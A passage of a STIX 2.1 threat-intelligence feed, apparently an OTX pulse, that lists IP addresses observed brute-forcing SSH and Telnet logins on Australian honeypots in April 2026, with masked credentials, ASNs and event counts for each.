      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.178.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:15:11.000Z",
      "valid_until": "2026-05-10T19:15:08.000Z"
    },
    {
      "created": "2026-04-08T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--d73b3770-92d4-4005-ae2c-e11255a0944e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:15:11.000Z",
      "valid_until": "2026-05-10T19:15:08.000Z"
    },
    {
      "created": "2026-04-08T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--3959140f-945c-44d0-9893-9816b334a6b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.126.136.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:15:11.000Z",
      "valid_until": "2026-05-10T19:15:08.000Z"
    },
    {
      "created": "2026-04-08T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): *.",
      "id": "indicator--f784001b-c1c3-41ff-a4a9-565974b16bcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '13.83.233.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T20:15:11.000Z",
      "valid_until": "2026-05-10T20:15:08.000Z"
    },
    {
      "created": "2026-04-08T20:15:11.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--019e465b-6221-4882-9bec-a08dd19313b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.232.138.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T20:15:11.000Z",
      "valid_until": "2026-05-10T20:15:08.000Z"
    },
    {
      "created": "2026-04-08T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--1443754c-b7a2-498f-be1f-cb5eb6f469c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.107.3.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T20:15:11.000Z",
      "valid_until": "2026-05-10T20:15:08.000Z"
    },
    {
      "created": "2026-04-08T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--a499dae7-987e-4a69-9b13-7d1add57633d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:15:10.000Z",
      "valid_until": "2026-05-10T21:15:08.000Z"
    },
    {
      "created": "2026-04-08T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 221. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, ***, j**n, u**r, 3**********4. Passwords observed (masked): *, 1******2, 1****6, 1*********e, 1***********p.",
      "id": "indicator--423c340c-371b-4623-9f98-17e521f8ddab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '52.177.169.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:15:10.000Z",
      "valid_until": "2026-05-10T21:15:08.000Z"
    },
    {
      "created": "2026-04-08T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 63023. Organisation(s): GTHost. Usernames observed (masked): r**t, p******s, s***m, u****u, 3**********4. Passwords observed (masked): 1*******3, 1****6, 1******Z, 1****9, 1******q.",
      "id": "indicator--2b6fdfac-d1c9-4f1c-8561-a320977cc97f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '82.22.21.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T21:15:10.000Z",
      "valid_until": "2026-05-10T21:15:08.000Z"
    },
    {
      "created": "2026-04-08T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP.",
      "id": "indicator--9f3e2a7a-0823-4153-b701-b4d229fe7d47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.225.1.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T22:15:10.000Z",
      "valid_until": "2026-05-10T22:15:08.000Z"
    },
    {
      "created": "2026-04-08T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d7310e63-c55a-4560-b7da-63b3b4965823",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '143.198.72.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T22:15:10.000Z",
      "valid_until": "2026-05-10T22:15:08.000Z"
    },
    {
      "created": "2026-04-08T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--765993f5-91da-4bff-a40a-895cfd25e60b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.141.244.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T22:15:10.000Z",
      "valid_until": "2026-05-10T22:15:08.000Z"
    },
    {
      "created": "2026-04-08T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--4f2e996a-8c0b-46f8-9bff-07117b9abf72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.23.153.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T22:15:10.000Z",
      "valid_until": "2026-05-10T22:15:08.000Z"
    },
    {
      "created": "2026-04-08T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--891a463d-120d-4b8b-a6af-fa9445ecd272",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.167.166.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T22:15:10.000Z",
      "valid_until": "2026-05-10T22:15:08.000Z"
    },
    {
      "created": "2026-04-08T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263790. Organisation(s): RED POWER INTERNET SRL.",
      "id": "indicator--5ce4d5f4-0b66-4bd6-a426-cff52d0c269a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '138.121.104.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T23:15:13.000Z",
      "valid_until": "2026-05-10T23:15:03.000Z"
    },
    {
      "created": "2026-04-09T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--061a9a40-e026-41d5-918d-66134cd35b67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.248.80.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T00:15:10.000Z",
      "valid_until": "2026-05-11T00:15:08.000Z"
    },
    {
      "created": "2026-04-09T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 13370. Organisation(s): Ziply Fiber.",
      "id": "indicator--d730413e-ecb1-4a4b-a701-e352d64ec87f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '173.209.174.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T00:15:10.000Z",
      "valid_until": "2026-05-11T00:15:08.000Z"
    },
    {
      "created": "2026-04-09T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): x*****0.",
      "id": "indicator--34a218b5-1b8b-434e-af4f-ae3d4a553a10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.123.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:15:11.000Z",
      "valid_until": "2026-05-11T01:15:09.000Z"
    },
    {
      "created": "2026-04-09T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t. Passwords observed (masked): 2********@, H*******6.",
      "id": "indicator--eeaadacb-8178-4468-bc3d-19b924954399",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.210.77.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:15:11.000Z",
      "valid_until": "2026-05-11T01:15:09.000Z"
    },
    {
      "created": "2026-04-09T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--1de6f33f-12fd-4fab-aef0-027ce7b4560d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '44.202.70.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:15:11.000Z",
      "valid_until": "2026-05-11T01:15:09.000Z"
    },
    {
      "created": "2026-04-09T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): e**c, t**t, t***2. Passwords observed (masked): !******x, e**c, t******t.",
      "id": "indicator--34e180a5-81f2-424e-8dfd-27df5acae219",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.220.235.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:15:11.000Z",
      "valid_until": "2026-05-11T01:15:09.000Z"
    },
    {
      "created": "2026-04-09T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--09e2cc53-7c79-4d17-968b-90fa3aaed4e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.222.181.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T01:15:11.000Z",
      "valid_until": "2026-05-11T01:15:09.000Z"
    },
    {
      "created": "2026-04-09T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--b95a0449-2b15-48fb-9dc8-3e5de611e7b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.227.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:15:10.000Z",
      "valid_until": "2026-05-11T02:15:08.000Z"
    },
    {
      "created": "2026-04-09T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--aa682bbe-7d8e-45f3-a4fd-8f6e22dd575b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.50.245.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:15:10.000Z",
      "valid_until": "2026-05-11T02:15:08.000Z"
    },
    {
      "created": "2026-04-09T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--9cf4bd17-64ea-4fe2-b996-485d887cbc22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '221.162.202.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:15:10.000Z",
      "valid_until": "2026-05-11T02:15:08.000Z"
    },
    {
      "created": "2026-04-09T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U*******************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--e4eddad1-8df4-4482-8bd0-a367dbab2d4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:15:10.000Z",
      "valid_until": "2026-05-11T02:15:08.000Z"
    },
    {
      "created": "2026-04-09T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--0c3eead4-8f85-4c47-b954-d70ae6e1d0e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T02:15:10.000Z",
      "valid_until": "2026-05-11T02:15:08.000Z"
    },
    {
      "created": "2026-04-09T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--09557975-29a2-43fd-83e4-2fcabb4293d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.12.254.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:15:11.000Z",
      "valid_until": "2026-05-11T03:15:08.000Z"
    },
    {
      "created": "2026-04-09T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--83ed4498-0153-4d34-a981-fd997ce02650",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.168.121.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:15:11.000Z",
      "valid_until": "2026-05-11T03:15:08.000Z"
    },
    {
      "created": "2026-04-09T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--5203c22e-a03f-41b7-b7d9-07ff6b7cfa1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '40.124.174.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:15:11.000Z",
      "valid_until": "2026-05-11T03:15:08.000Z"
    },
    {
      "created": "2026-04-09T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6181. Organisation(s): Cincinnati Bell Telephone Company LLC.",
      "id": "indicator--c9d35f9f-1ac2-4f09-9cd6-39f4f821119a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.49.194.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:15:11.000Z",
      "valid_until": "2026-05-11T03:15:08.000Z"
    },
    {
      "created": "2026-04-09T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, u****u, 3**********4, f**m, a***n. Passwords observed (masked): 3***********4, 3**********4, **, ***, 1****6.",
      "id": "indicator--d3d32c89-aead-4249-a4bd-8675a801ded3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.183.74.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T04:15:14.000Z",
      "valid_until": "2026-05-11T04:15:09.000Z"
    },
    {
      "created": "2026-04-09T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): r**t. Passwords observed (masked): 4******q.",
      "id": "indicator--364910b6-a5da-4b1a-a2a4-b56aa0a1c649",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '130.12.182.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T04:15:14.000Z",
      "valid_until": "2026-05-11T04:15:09.000Z"
    },
    {
      "created": "2026-04-09T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--cbae1715-03f1-4b03-9c28-42ca1b21b690",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '18.218.118.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T04:15:14.000Z",
      "valid_until": "2026-05-11T04:15:09.000Z"
    },
    {
      "created": "2026-04-09T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 203. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited. Usernames observed (masked): r**t, u****u, 3**********4, c****s, d****y. Passwords observed (masked): 1****6, 1****7, 3***********4, 3**********4, 3******V.",
      "id": "indicator--6186a899-6ae6-44e4-98ab-6f688e625ce1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.197.186.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T04:15:14.000Z",
      "valid_until": "2026-05-11T04:15:09.000Z"
    },
    {
      "created": "2026-04-09T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 290. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, u****u, 3**********4, a***n, f**m. Passwords observed (masked): 3***********4, 3**********4, **, ***, 1****6.",
      "id": "indicator--762fb9e2-ee09-4281-946b-b9aaf8419bff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.39.58.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T04:15:14.000Z",
      "valid_until": "2026-05-11T04:15:09.000Z"
    },
    {
